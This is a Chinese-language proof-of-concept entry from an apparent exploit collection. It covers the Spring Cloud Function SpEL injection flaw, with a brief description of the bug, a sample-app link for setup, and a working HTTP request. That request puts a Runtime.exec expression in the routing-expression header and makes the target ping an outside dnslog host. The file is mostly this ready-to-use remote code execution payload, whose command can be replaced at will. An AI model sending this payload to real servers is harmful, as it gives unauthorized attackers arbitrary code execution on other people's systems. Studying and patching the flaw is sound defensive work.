Awesome-POC/开发框架漏洞/Spring Cloud Function SPEL 远程命令执行漏洞.md
2022-12-05 11:09:28 +08:00

34 lines
1.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Spring Cloud Function SPEL 远程命令执行漏洞
## 漏洞描述
Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理造成了Spel表达式注入漏洞未经授权的远程攻击者可利用该漏洞执行任意代码。
## 漏洞影响
```
Spring Cloud Function
```
## 环境搭建
- https://github.com/spring-cloud/spring-cloud-function/tree/main/spring-cloud-function-samples/function-sample-pojo
## 漏洞复现
搭建后访问
![image-20220519160206177](./images/202205191602220.png)
发送POC
```
POST /functionRouter HTTP/1.1
Host: 192.168.1.27:9000
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping -c 1 dxytoy.dnslog.cn")
Content-Length: 1
```
接收到请求
![image-20220519160240168](./images/202205191602216.png)